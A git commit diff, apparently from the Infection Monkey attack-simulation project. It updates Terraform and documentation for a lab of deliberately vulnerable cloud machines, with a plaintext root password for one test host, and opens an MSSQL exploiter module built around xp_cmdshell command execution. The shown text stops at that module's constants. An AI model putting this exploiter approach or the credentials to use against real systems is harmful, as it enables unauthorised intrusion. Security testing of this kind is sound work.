Merge branch 'develop' into 400/more-tests

This commit is contained in:
Shay Nehmad 2019-09-18 08:19:44 +03:00
commit 6a2510a657
25 changed files with 512 additions and 189 deletions

View File

@ -58,7 +58,7 @@ Requirements:
To deploy: To deploy:
1. Configure service account for your project: 1. Configure service account for your project:
a. Create a service account and name it “your\_name-monkeyZoo-user” a. Create a service account (GCP website -> IAM -> service accounts) and name it “your\_name-monkeyZoo-user”
b. Give these permissions to your service account: b. Give these permissions to your service account:
@ -74,7 +74,7 @@ To deploy:
**Project -> Owner** **Project -> Owner**
c. Download its **Service account key**. Select JSON format. c. Download its **Service account key** in JSON and place it in **/gcp_keys** as **gcp_key.json**.
2. Get these permissions in monkeyZoo project for your service account (ask monkey developers to add them): 2. Get these permissions in monkeyZoo project for your service account (ask monkey developers to add them):
a. **Compute Engine -\> Compute image user** a. **Compute Engine -\> Compute image user**
@ -82,20 +82,30 @@ To deploy:
../monkey/envs/monkey\_zoo/terraform/config.tf file (dont forget to ../monkey/envs/monkey\_zoo/terraform/config.tf file (dont forget to
link to your service account key file): link to your service account key file):
> provider "google" { provider "google" {
>
> project = "project-28054666" project = "test-000000" // Change to your project id
>
> region = "europe-west3" region = "europe-west3" // Change to your desired region or leave default
>
> zone = "europe-west3-b" zone = "europe-west3-b" // Change to your desired zone or leave default
>
> credentials = "${file("project-92050661-9dae6c5a02fc.json")}" credentials = "${file("../gcp_keys/gcp_key.json")}" // Change to the location and name of the service key.
> // If you followed instruction above leave it as is
> }
> }
> service\_account\_email="test@project-925243.iam.gserviceaccount.com"
locals {
resource_prefix = "" // All of the resources will have this prefix.
// Only change if you want to have multiple zoo's in the same project
service_account_email="tester-monkeyZoo-user@testproject-000000.iam.gserviceaccount.com" // Service account email
monkeyzoo_project="guardicore-22050661" // Project where monkeyzoo images are kept. Leave as is.
}
4. Run terraform init 4. Run terraform init
To deploy the network run:<br> To deploy the network run:<br>
@ -500,6 +510,42 @@ fullTest.conf is a good config to start, because it covers all machines.
</tbody> </tbody>
</table> </table>
<table>
<thead>
<tr class="header">
<th><p><span id="_Toc536021463" class="anchor"></span>Nr. <strong>11</strong> Tunneling M3</p>
<p>(10.2.0.11)</p></th>
<th>(Exploitable)</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>OS:</td>
<td><strong>Ubuntu 16.04.05 x64</strong></td>
</tr>
<tr class="even">
<td>Software:</td>
<td>OpenSSL</td>
</tr>
<tr class="odd">
<td>Default services port:</td>
<td>22</td>
</tr>
<tr class="even">
<td>Root password:</td>
<td>3Q=(Ge(+&w]*</td>
</tr>
<tr class="odd">
<td>Servers config:</td>
<td>Default</td>
</tr>
<tr class="even">
<td>Notes:</td>
<td>Accessible only trough Nr.10</td>
</tr>
</tbody>
</table>
<table> <table>
<thead> <thead>
<tr class="header"> <tr class="header">

View File

@ -2,9 +2,10 @@ provider "google" {
project = "test-000000" project = "test-000000"
region = "europe-west3" region = "europe-west3"
zone = "europe-west3-b" zone = "europe-west3-b"
credentials = "${file("testproject-000000-0c0b000b00c0.json")}" credentials = "${file("../gcp_keys/gcp_key.json")}"
} }
locals { locals {
resource_prefix = ""
service_account_email="tester-monkeyZoo-user@testproject-000000.iam.gserviceaccount.com" service_account_email="tester-monkeyZoo-user@testproject-000000.iam.gserviceaccount.com"
monkeyzoo_project="guardicore-22050661" monkeyzoo_project="guardicore-22050661"
} }

View File

@ -1,5 +1,5 @@
resource "google_compute_firewall" "islands-in" { resource "google_compute_firewall" "islands-in" {
name = "islands-in" name = "${local.resource_prefix}islands-in"
network = "${google_compute_network.monkeyzoo.name}" network = "${google_compute_network.monkeyzoo.name}"
allow { allow {
@ -13,7 +13,7 @@ resource "google_compute_firewall" "islands-in" {
} }
resource "google_compute_firewall" "islands-out" { resource "google_compute_firewall" "islands-out" {
name = "islands-out" name = "${local.resource_prefix}islands-out"
network = "${google_compute_network.monkeyzoo.name}" network = "${google_compute_network.monkeyzoo.name}"
allow { allow {
@ -26,7 +26,7 @@ resource "google_compute_firewall" "islands-out" {
} }
resource "google_compute_firewall" "monkeyzoo-in" { resource "google_compute_firewall" "monkeyzoo-in" {
name = "monkeyzoo-in" name = "${local.resource_prefix}monkeyzoo-in"
network = "${google_compute_network.monkeyzoo.name}" network = "${google_compute_network.monkeyzoo.name}"
allow { allow {
@ -35,11 +35,11 @@ resource "google_compute_firewall" "monkeyzoo-in" {
direction = "INGRESS" direction = "INGRESS"
priority = "65534" priority = "65534"
source_ranges = ["10.2.2.0/24"] source_ranges = ["10.2.2.0/24", "10.2.1.0/27"]
} }
resource "google_compute_firewall" "monkeyzoo-out" { resource "google_compute_firewall" "monkeyzoo-out" {
name = "monkeyzoo-out" name = "${local.resource_prefix}monkeyzoo-out"
network = "${google_compute_network.monkeyzoo.name}" network = "${google_compute_network.monkeyzoo.name}"
allow { allow {
@ -48,11 +48,11 @@ resource "google_compute_firewall" "monkeyzoo-out" {
direction = "EGRESS" direction = "EGRESS"
priority = "65534" priority = "65534"
destination_ranges = ["10.2.2.0/24"] destination_ranges = ["10.2.2.0/24", "10.2.1.0/27"]
} }
resource "google_compute_firewall" "tunneling-in" { resource "google_compute_firewall" "tunneling-in" {
name = "tunneling-in" name = "${local.resource_prefix}tunneling-in"
network = "${google_compute_network.tunneling.name}" network = "${google_compute_network.tunneling.name}"
allow { allow {
@ -60,11 +60,11 @@ resource "google_compute_firewall" "tunneling-in" {
} }
direction = "INGRESS" direction = "INGRESS"
source_ranges = ["10.2.1.0/28"] source_ranges = ["10.2.2.0/24", "10.2.0.0/28"]
} }
resource "google_compute_firewall" "tunneling-out" { resource "google_compute_firewall" "tunneling-out" {
name = "tunneling-out" name = "${local.resource_prefix}tunneling-out"
network = "${google_compute_network.tunneling.name}" network = "${google_compute_network.tunneling.name}"
allow { allow {
@ -72,5 +72,28 @@ resource "google_compute_firewall" "tunneling-out" {
} }
direction = "EGRESS" direction = "EGRESS"
destination_ranges = ["10.2.1.0/28"] destination_ranges = ["10.2.2.0/24", "10.2.0.0/28"]
}
resource "google_compute_firewall" "tunneling2-in" {
name = "${local.resource_prefix}tunneling2-in"
network = "${google_compute_network.tunneling2.name}"
allow {
protocol = "all"
}
direction = "INGRESS"
source_ranges = ["10.2.1.0/27"]
}
resource "google_compute_firewall" "tunneling2-out" {
name = "${local.resource_prefix}tunneling2-out"
network = "${google_compute_network.tunneling2.name}"
allow {
protocol = "all"
}
direction = "EGRESS"
destination_ranges = ["10.2.1.0/27"]
} }

View File

@ -26,23 +26,27 @@ data "google_compute_image" "shellshock-8" {
project = "${local.monkeyzoo_project}" project = "${local.monkeyzoo_project}"
} }
data "google_compute_image" "tunneling-9" { data "google_compute_image" "tunneling-9" {
name = "tunneling-9-v2" name = "tunneling-9"
project = "${local.monkeyzoo_project}" project = "${local.monkeyzoo_project}"
} }
data "google_compute_image" "tunneling-10" { data "google_compute_image" "tunneling-10" {
name = "tunneling-10-v2" name = "tunneling-10"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "tunneling-11" {
name = "tunneling-11"
project = "${local.monkeyzoo_project}" project = "${local.monkeyzoo_project}"
} }
data "google_compute_image" "sshkeys-11" { data "google_compute_image" "sshkeys-11" {
name = "sshkeys-11-v2" name = "sshkeys-11"
project = "${local.monkeyzoo_project}" project = "${local.monkeyzoo_project}"
} }
data "google_compute_image" "sshkeys-12" { data "google_compute_image" "sshkeys-12" {
name = "sshkeys-12-v2" name = "sshkeys-12"
project = "${local.monkeyzoo_project}" project = "${local.monkeyzoo_project}"
} }
data "google_compute_image" "mimikatz-14" { data "google_compute_image" "mimikatz-14" {
name = "mimikatz-14-v2" name = "mimikatz-14"
project = "${local.monkeyzoo_project}" project = "${local.monkeyzoo_project}"
} }
data "google_compute_image" "mimikatz-15" { data "google_compute_image" "mimikatz-15" {
@ -58,7 +62,7 @@ data "google_compute_image" "weblogic-18" {
project = "${local.monkeyzoo_project}" project = "${local.monkeyzoo_project}"
} }
data "google_compute_image" "weblogic-19" { data "google_compute_image" "weblogic-19" {
name = "weblogic-19-v2" name = "weblogic-19"
project = "${local.monkeyzoo_project}" project = "${local.monkeyzoo_project}"
} }
data "google_compute_image" "smb-20" { data "google_compute_image" "smb-20" {
@ -78,7 +82,7 @@ data "google_compute_image" "struts2-23" {
project = "${local.monkeyzoo_project}" project = "${local.monkeyzoo_project}"
} }
data "google_compute_image" "struts2-24" { data "google_compute_image" "struts2-24" {
name = "struts-24-v2" name = "struts2-24"
project = "${local.monkeyzoo_project}" project = "${local.monkeyzoo_project}"
} }
data "google_compute_image" "island-linux-250" { data "google_compute_image" "island-linux-250" {
@ -88,4 +92,4 @@ data "google_compute_image" "island-linux-250" {
data "google_compute_image" "island-windows-251" { data "google_compute_image" "island-windows-251" {
name = "island-windows-251" name = "island-windows-251"
project = "${local.monkeyzoo_project}" project = "${local.monkeyzoo_project}"
} }

View File

@ -6,29 +6,40 @@ locals {
} }
resource "google_compute_network" "monkeyzoo" { resource "google_compute_network" "monkeyzoo" {
name = "monkeyzoo" name = "${local.resource_prefix}monkeyzoo"
auto_create_subnetworks = false auto_create_subnetworks = false
} }
resource "google_compute_network" "tunneling" { resource "google_compute_network" "tunneling" {
name = "tunneling" name = "${local.resource_prefix}tunneling"
auto_create_subnetworks = false
}
resource "google_compute_network" "tunneling2" {
name = "${local.resource_prefix}tunneling2"
auto_create_subnetworks = false auto_create_subnetworks = false
} }
resource "google_compute_subnetwork" "monkeyzoo-main" { resource "google_compute_subnetwork" "monkeyzoo-main" {
name = "monkeyzoo-main" name = "${local.resource_prefix}monkeyzoo-main"
ip_cidr_range = "10.2.2.0/24" ip_cidr_range = "10.2.2.0/24"
network = "${google_compute_network.monkeyzoo.self_link}" network = "${google_compute_network.monkeyzoo.self_link}"
} }
resource "google_compute_subnetwork" "tunneling-main" { resource "google_compute_subnetwork" "tunneling-main" {
name = "tunneling-main" name = "${local.resource_prefix}tunneling-main"
ip_cidr_range = "10.2.1.0/28" ip_cidr_range = "10.2.1.0/28"
network = "${google_compute_network.tunneling.self_link}" network = "${google_compute_network.tunneling.self_link}"
} }
resource "google_compute_subnetwork" "tunneling2-main" {
name = "${local.resource_prefix}tunneling2-main"
ip_cidr_range = "10.2.0.0/27"
network = "${google_compute_network.tunneling2.self_link}"
}
resource "google_compute_instance_from_template" "hadoop-2" { resource "google_compute_instance_from_template" "hadoop-2" {
name = "hadoop-2" name = "${local.resource_prefix}hadoop-2"
source_instance_template = "${local.default_ubuntu}" source_instance_template = "${local.default_ubuntu}"
boot_disk{ boot_disk{
initialize_params { initialize_params {
@ -37,7 +48,7 @@ resource "google_compute_instance_from_template" "hadoop-2" {
auto_delete = true auto_delete = true
} }
network_interface { network_interface {
subnetwork="monkeyzoo-main" subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.2" network_ip="10.2.2.2"
} }
// Add required ssh keys for hadoop service and restart it // Add required ssh keys for hadoop service and restart it
@ -45,7 +56,7 @@ resource "google_compute_instance_from_template" "hadoop-2" {
} }
resource "google_compute_instance_from_template" "hadoop-3" { resource "google_compute_instance_from_template" "hadoop-3" {
name = "hadoop-3" name = "${local.resource_prefix}hadoop-3"
source_instance_template = "${local.default_windows}" source_instance_template = "${local.default_windows}"
boot_disk{ boot_disk{
initialize_params { initialize_params {
@ -54,13 +65,13 @@ resource "google_compute_instance_from_template" "hadoop-3" {
auto_delete = true auto_delete = true
} }
network_interface { network_interface {
subnetwork="monkeyzoo-main" subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.3" network_ip="10.2.2.3"
} }
} }
resource "google_compute_instance_from_template" "elastic-4" { resource "google_compute_instance_from_template" "elastic-4" {
name = "elastic-4" name = "${local.resource_prefix}elastic-4"
source_instance_template = "${local.default_ubuntu}" source_instance_template = "${local.default_ubuntu}"
boot_disk{ boot_disk{
initialize_params { initialize_params {
@ -69,13 +80,13 @@ resource "google_compute_instance_from_template" "elastic-4" {
auto_delete = true auto_delete = true
} }
network_interface { network_interface {
subnetwork="monkeyzoo-main" subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.4" network_ip="10.2.2.4"
} }
} }
resource "google_compute_instance_from_template" "elastic-5" { resource "google_compute_instance_from_template" "elastic-5" {
name = "elastic-5" name = "${local.resource_prefix}elastic-5"
source_instance_template = "${local.default_windows}" source_instance_template = "${local.default_windows}"
boot_disk{ boot_disk{
initialize_params { initialize_params {
@ -84,14 +95,14 @@ resource "google_compute_instance_from_template" "elastic-5" {
auto_delete = true auto_delete = true
} }
network_interface { network_interface {
subnetwork="monkeyzoo-main" subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.5" network_ip="10.2.2.5"
} }
} }
/* Couldn't find ubuntu packages for required samba version (too old). /* Couldn't find ubuntu packages for required samba version (too old).
resource "google_compute_instance_from_template" "sambacry-6" { resource "google_compute_instance_from_template" "sambacry-6" {
name = "sambacry-6" name = "${local.resource_prefix}sambacry-6"
source_instance_template = "${local.default_ubuntu}" source_instance_template = "${local.default_ubuntu}"
boot_disk{ boot_disk{
initialize_params { initialize_params {
@ -99,7 +110,7 @@ resource "google_compute_instance_from_template" "sambacry-6" {
} }
} }
network_interface { network_interface {
subnetwork="monkeyzoo-main" subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.6" network_ip="10.2.2.6"
} }
} }
@ -107,7 +118,7 @@ resource "google_compute_instance_from_template" "sambacry-6" {
/* We need custom 32 bit Ubuntu machine for this (there are no 32 bit ubuntu machines in GCP). /* We need custom 32 bit Ubuntu machine for this (there are no 32 bit ubuntu machines in GCP).
resource "google_compute_instance_from_template" "sambacry-7" { resource "google_compute_instance_from_template" "sambacry-7" {
name = "sambacry-7" name = "${local.resource_prefix}sambacry-7"
source_instance_template = "${local.default_ubuntu}" source_instance_template = "${local.default_ubuntu}"
boot_disk { boot_disk {
initialize_params { initialize_params {
@ -116,14 +127,14 @@ resource "google_compute_instance_from_template" "sambacry-7" {
} }
} }
network_interface { network_interface {
subnetwork="monkeyzoo-main" subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.7" network_ip="10.2.2.7"
} }
} }
*/ */
resource "google_compute_instance_from_template" "shellshock-8" { resource "google_compute_instance_from_template" "shellshock-8" {
name = "shellshock-8" name = "${local.resource_prefix}shellshock-8"
source_instance_template = "${local.default_ubuntu}" source_instance_template = "${local.default_ubuntu}"
boot_disk{ boot_disk{
initialize_params { initialize_params {
@ -132,13 +143,13 @@ resource "google_compute_instance_from_template" "shellshock-8" {
auto_delete = true auto_delete = true
} }
network_interface { network_interface {
subnetwork="monkeyzoo-main" subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.8" network_ip="10.2.2.8"
} }
} }
resource "google_compute_instance_from_template" "tunneling-9" { resource "google_compute_instance_from_template" "tunneling-9" {
name = "tunneling-9" name = "${local.resource_prefix}tunneling-9"
source_instance_template = "${local.default_ubuntu}" source_instance_template = "${local.default_ubuntu}"
boot_disk{ boot_disk{
initialize_params { initialize_params {
@ -147,18 +158,17 @@ resource "google_compute_instance_from_template" "tunneling-9" {
auto_delete = true auto_delete = true
} }
network_interface{ network_interface{
subnetwork="tunneling-main" subnetwork="${local.resource_prefix}tunneling-main"
network_ip="10.2.1.9" network_ip="10.2.1.9"
} }
network_interface{ network_interface{
subnetwork="monkeyzoo-main" subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.9" network_ip="10.2.2.9"
} }
} }
resource "google_compute_instance_from_template" "tunneling-10" { resource "google_compute_instance_from_template" "tunneling-10" {
name = "tunneling-10" name = "${local.resource_prefix}tunneling-10"
source_instance_template = "${local.default_ubuntu}" source_instance_template = "${local.default_ubuntu}"
boot_disk{ boot_disk{
initialize_params { initialize_params {
@ -167,13 +177,32 @@ resource "google_compute_instance_from_template" "tunneling-10" {
auto_delete = true auto_delete = true
} }
network_interface{ network_interface{
subnetwork="tunneling-main" subnetwork="${local.resource_prefix}tunneling-main"
network_ip="10.2.1.10" network_ip="10.2.1.10"
} }
network_interface{
subnetwork="${local.resource_prefix}tunneling2-main"
network_ip="10.2.0.10"
}
}
resource "google_compute_instance_from_template" "tunneling-11" {
name = "${local.resource_prefix}tunneling-11"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.tunneling-11.self_link}"
}
auto_delete = true
}
network_interface{
subnetwork="${local.resource_prefix}tunneling2-main"
network_ip="10.2.0.11"
}
} }
resource "google_compute_instance_from_template" "sshkeys-11" { resource "google_compute_instance_from_template" "sshkeys-11" {
name = "sshkeys-11" name = "${local.resource_prefix}sshkeys-11"
source_instance_template = "${local.default_ubuntu}" source_instance_template = "${local.default_ubuntu}"
boot_disk{ boot_disk{
initialize_params { initialize_params {
@ -182,13 +211,13 @@ resource "google_compute_instance_from_template" "sshkeys-11" {
auto_delete = true auto_delete = true
} }
network_interface { network_interface {
subnetwork="monkeyzoo-main" subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.11" network_ip="10.2.2.11"
} }
} }
resource "google_compute_instance_from_template" "sshkeys-12" { resource "google_compute_instance_from_template" "sshkeys-12" {
name = "sshkeys-12" name = "${local.resource_prefix}sshkeys-12"
source_instance_template = "${local.default_ubuntu}" source_instance_template = "${local.default_ubuntu}"
boot_disk{ boot_disk{
initialize_params { initialize_params {
@ -197,14 +226,14 @@ resource "google_compute_instance_from_template" "sshkeys-12" {
auto_delete = true auto_delete = true
} }
network_interface { network_interface {
subnetwork="monkeyzoo-main" subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.12" network_ip="10.2.2.12"
} }
} }
/* /*
resource "google_compute_instance_from_template" "rdpgrinder-13" { resource "google_compute_instance_from_template" "rdpgrinder-13" {
name = "rdpgrinder-13" name = "${local.resource_prefix}rdpgrinder-13"
source_instance_template = "${local.default_windows}" source_instance_template = "${local.default_windows}"
boot_disk{ boot_disk{
initialize_params { initialize_params {
@ -212,14 +241,14 @@ resource "google_compute_instance_from_template" "rdpgrinder-13" {
} }
} }
network_interface { network_interface {
subnetwork="monkeyzoo-main" subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.13" network_ip="10.2.2.13"
} }
} }
*/ */
resource "google_compute_instance_from_template" "mimikatz-14" { resource "google_compute_instance_from_template" "mimikatz-14" {
name = "mimikatz-14" name = "${local.resource_prefix}mimikatz-14"
source_instance_template = "${local.default_windows}" source_instance_template = "${local.default_windows}"
boot_disk{ boot_disk{
initialize_params { initialize_params {
@ -228,13 +257,13 @@ resource "google_compute_instance_from_template" "mimikatz-14" {
auto_delete = true auto_delete = true
} }
network_interface { network_interface {
subnetwork="monkeyzoo-main" subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.14" network_ip="10.2.2.14"
} }
} }
resource "google_compute_instance_from_template" "mimikatz-15" { resource "google_compute_instance_from_template" "mimikatz-15" {
name = "mimikatz-15" name = "${local.resource_prefix}mimikatz-15"
source_instance_template = "${local.default_windows}" source_instance_template = "${local.default_windows}"
boot_disk{ boot_disk{
initialize_params { initialize_params {
@ -243,13 +272,13 @@ resource "google_compute_instance_from_template" "mimikatz-15" {
auto_delete = true auto_delete = true
} }
network_interface { network_interface {
subnetwork="monkeyzoo-main" subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.15" network_ip="10.2.2.15"
} }
} }
resource "google_compute_instance_from_template" "mssql-16" { resource "google_compute_instance_from_template" "mssql-16" {
name = "mssql-16" name = "${local.resource_prefix}mssql-16"
source_instance_template = "${local.default_windows}" source_instance_template = "${local.default_windows}"
boot_disk{ boot_disk{
initialize_params { initialize_params {
@ -258,14 +287,14 @@ resource "google_compute_instance_from_template" "mssql-16" {
auto_delete = true auto_delete = true
} }
network_interface { network_interface {
subnetwork="monkeyzoo-main" subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.16" network_ip="10.2.2.16"
} }
} }
/* We need to alter monkey's behavior for this to upload 32-bit monkey instead of 64-bit (not yet developed) /* We need to alter monkey's behavior for this to upload 32-bit monkey instead of 64-bit (not yet developed)
resource "google_compute_instance_from_template" "upgrader-17" { resource "google_compute_instance_from_template" "upgrader-17" {
name = "upgrader-17" name = "${local.resource_prefix}upgrader-17"
source_instance_template = "${local.default_windows}" source_instance_template = "${local.default_windows}"
boot_disk{ boot_disk{
initialize_params { initialize_params {
@ -273,7 +302,7 @@ resource "google_compute_instance_from_template" "upgrader-17" {
} }
} }
network_interface { network_interface {
subnetwork="monkeyzoo-main" subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.17" network_ip="10.2.2.17"
access_config { access_config {
// Cheaper, non-premium routing // Cheaper, non-premium routing
@ -284,7 +313,7 @@ resource "google_compute_instance_from_template" "upgrader-17" {
*/ */
resource "google_compute_instance_from_template" "weblogic-18" { resource "google_compute_instance_from_template" "weblogic-18" {
name = "weblogic-18" name = "${local.resource_prefix}weblogic-18"
source_instance_template = "${local.default_ubuntu}" source_instance_template = "${local.default_ubuntu}"
boot_disk{ boot_disk{
initialize_params { initialize_params {
@ -293,13 +322,13 @@ resource "google_compute_instance_from_template" "weblogic-18" {
auto_delete = true auto_delete = true
} }
network_interface { network_interface {
subnetwork="monkeyzoo-main" subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.18" network_ip="10.2.2.18"
} }
} }
resource "google_compute_instance_from_template" "weblogic-19" { resource "google_compute_instance_from_template" "weblogic-19" {
name = "weblogic-19" name = "${local.resource_prefix}weblogic-19"
source_instance_template = "${local.default_windows}" source_instance_template = "${local.default_windows}"
boot_disk{ boot_disk{
initialize_params { initialize_params {
@ -308,13 +337,13 @@ resource "google_compute_instance_from_template" "weblogic-19" {
auto_delete = true auto_delete = true
} }
network_interface { network_interface {
subnetwork="monkeyzoo-main" subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.19" network_ip="10.2.2.19"
} }
} }
resource "google_compute_instance_from_template" "smb-20" { resource "google_compute_instance_from_template" "smb-20" {
name = "smb-20" name = "${local.resource_prefix}smb-20"
source_instance_template = "${local.default_windows}" source_instance_template = "${local.default_windows}"
boot_disk{ boot_disk{
initialize_params { initialize_params {
@ -323,13 +352,13 @@ resource "google_compute_instance_from_template" "smb-20" {
auto_delete = true auto_delete = true
} }
network_interface { network_interface {
subnetwork="monkeyzoo-main" subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.20" network_ip="10.2.2.20"
} }
} }
resource "google_compute_instance_from_template" "scan-21" { resource "google_compute_instance_from_template" "scan-21" {
name = "scan-21" name = "${local.resource_prefix}scan-21"
source_instance_template = "${local.default_ubuntu}" source_instance_template = "${local.default_ubuntu}"
boot_disk{ boot_disk{
initialize_params { initialize_params {
@ -338,13 +367,13 @@ resource "google_compute_instance_from_template" "scan-21" {
auto_delete = true auto_delete = true
} }
network_interface { network_interface {
subnetwork="monkeyzoo-main" subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.21" network_ip="10.2.2.21"
} }
} }
resource "google_compute_instance_from_template" "scan-22" { resource "google_compute_instance_from_template" "scan-22" {
name = "scan-22" name = "${local.resource_prefix}scan-22"
source_instance_template = "${local.default_windows}" source_instance_template = "${local.default_windows}"
boot_disk{ boot_disk{
initialize_params { initialize_params {
@ -353,13 +382,13 @@ resource "google_compute_instance_from_template" "scan-22" {
auto_delete = true auto_delete = true
} }
network_interface { network_interface {
subnetwork="monkeyzoo-main" subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.22" network_ip="10.2.2.22"
} }
} }
resource "google_compute_instance_from_template" "struts2-23" { resource "google_compute_instance_from_template" "struts2-23" {
name = "struts2-23" name = "${local.resource_prefix}struts2-23"
source_instance_template = "${local.default_ubuntu}" source_instance_template = "${local.default_ubuntu}"
boot_disk{ boot_disk{
initialize_params { initialize_params {
@ -368,13 +397,13 @@ resource "google_compute_instance_from_template" "struts2-23" {
auto_delete = true auto_delete = true
} }
network_interface { network_interface {
subnetwork="monkeyzoo-main" subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.23" network_ip="10.2.2.23"
} }
} }
resource "google_compute_instance_from_template" "struts2-24" { resource "google_compute_instance_from_template" "struts2-24" {
name = "struts2-24" name = "${local.resource_prefix}struts2-24"
source_instance_template = "${local.default_windows}" source_instance_template = "${local.default_windows}"
boot_disk{ boot_disk{
initialize_params { initialize_params {
@ -383,13 +412,13 @@ resource "google_compute_instance_from_template" "struts2-24" {
auto_delete = true auto_delete = true
} }
network_interface { network_interface {
subnetwork="monkeyzoo-main" subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.24" network_ip="10.2.2.24"
} }
} }
resource "google_compute_instance_from_template" "island-linux-250" { resource "google_compute_instance_from_template" "island-linux-250" {
name = "island-linux-250" name = "${local.resource_prefix}island-linux-250"
machine_type = "n1-standard-2" machine_type = "n1-standard-2"
tags = ["island", "linux", "ubuntu16"] tags = ["island", "linux", "ubuntu16"]
source_instance_template = "${local.default_ubuntu}" source_instance_template = "${local.default_ubuntu}"
@ -400,7 +429,7 @@ resource "google_compute_instance_from_template" "island-linux-250" {
auto_delete = true auto_delete = true
} }
network_interface { network_interface {
subnetwork="monkeyzoo-main" subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.250" network_ip="10.2.2.250"
access_config { access_config {
// Cheaper, non-premium routing (not available in some regions) // Cheaper, non-premium routing (not available in some regions)
@ -410,7 +439,7 @@ resource "google_compute_instance_from_template" "island-linux-250" {
} }
resource "google_compute_instance_from_template" "island-windows-251" { resource "google_compute_instance_from_template" "island-windows-251" {
name = "island-windows-251" name = "${local.resource_prefix}island-windows-251"
machine_type = "n1-standard-2" machine_type = "n1-standard-2"
tags = ["island", "windows", "windowsserver2016"] tags = ["island", "windows", "windowsserver2016"]
source_instance_template = "${local.default_windows}" source_instance_template = "${local.default_windows}"
@ -421,11 +450,11 @@ resource "google_compute_instance_from_template" "island-windows-251" {
auto_delete = true auto_delete = true
} }
network_interface { network_interface {
subnetwork="monkeyzoo-main" subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.251" network_ip="10.2.2.251"
access_config { access_config {
// Cheaper, non-premium routing (not available in some regions) // Cheaper, non-premium routing (not available in some regions)
// network_tier = "STANDARD" // network_tier = "STANDARD"
} }
} }
} }

View File

@ -1,5 +1,5 @@
resource "google_compute_instance_template" "ubuntu16" { resource "google_compute_instance_template" "ubuntu16" {
name = "ubuntu16" name = "${local.resource_prefix}ubuntu16"
description = "Creates ubuntu 16.04 LTS servers at europe-west3-a." description = "Creates ubuntu 16.04 LTS servers at europe-west3-a."
tags = ["test-machine", "ubuntu16", "linux"] tags = ["test-machine", "ubuntu16", "linux"]
@ -24,7 +24,7 @@ resource "google_compute_instance_template" "ubuntu16" {
} }
resource "google_compute_instance_template" "windows2016" { resource "google_compute_instance_template" "windows2016" {
name = "windows2016" name = "${local.resource_prefix}windows2016"
description = "Creates windows 2016 core servers at europe-west3-a." description = "Creates windows 2016 core servers at europe-west3-a."
tags = ["test-machine", "windowsserver2016", "windows"] tags = ["test-machine", "windowsserver2016", "windows"]
@ -42,4 +42,4 @@ resource "google_compute_instance_template" "windows2016" {
email="${local.service_account_email}" email="${local.service_account_email}"
scopes=["cloud-platform"] scopes=["cloud-platform"]
} }
} }

View File

@ -75,7 +75,7 @@ class HostExploiter(object):
""" """
powershell = True if "powershell" in cmd.lower() else False powershell = True if "powershell" in cmd.lower() else False
self.exploit_info['executed_cmds'].append({'cmd': cmd, 'powershell': powershell}) self.exploit_info['executed_cmds'].append({'cmd': cmd, 'powershell': powershell})
from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter
from infection_monkey.exploit.wmiexec import WmiExploiter from infection_monkey.exploit.wmiexec import WmiExploiter

View File

@ -1,17 +1,18 @@
import logging import logging
import os import os
import textwrap import sys
from time import sleep from time import sleep
import pymssql import pymssql
from common.utils.exploit_enum import ExploitType from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit import HostExploiter from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.exploit.tools.http_tools import MonkeyHTTPServer
from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, get_target_monkey, \ from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, build_monkey_commandline, get_monkey_depth
build_monkey_commandline, get_monkey_depth
from infection_monkey.model import DROPPER_ARG from infection_monkey.model import DROPPER_ARG
from infection_monkey.utils.monkey_dir import get_monkey_dir_path from infection_monkey.utils.monkey_dir import get_monkey_dir_path
from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload
from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError
LOG = logging.getLogger(__name__) LOG = logging.getLogger(__name__)
@ -25,98 +26,145 @@ class MSSQLExploiter(HostExploiter):
# Time in seconds to wait between MSSQL queries. # Time in seconds to wait between MSSQL queries.
QUERY_BUFFER = 0.5 QUERY_BUFFER = 0.5
SQL_DEFAULT_TCP_PORT = '1433' SQL_DEFAULT_TCP_PORT = '1433'
# Temporary file that saves commands for monkey's download and execution. # Temporary file that saves commands for monkey's download and execution.
TMP_FILE_NAME = 'tmp_monkey.bat' TMP_FILE_NAME = 'tmp_monkey.bat'
TMP_DIR_PATH = "%temp%\\tmp_monkey_dir"
MAX_XP_CMDSHELL_COMMAND_SIZE = 128
XP_CMDSHELL_COMMAND_START = "xp_cmdshell \""
XP_CMDSHELL_COMMAND_END = "\""
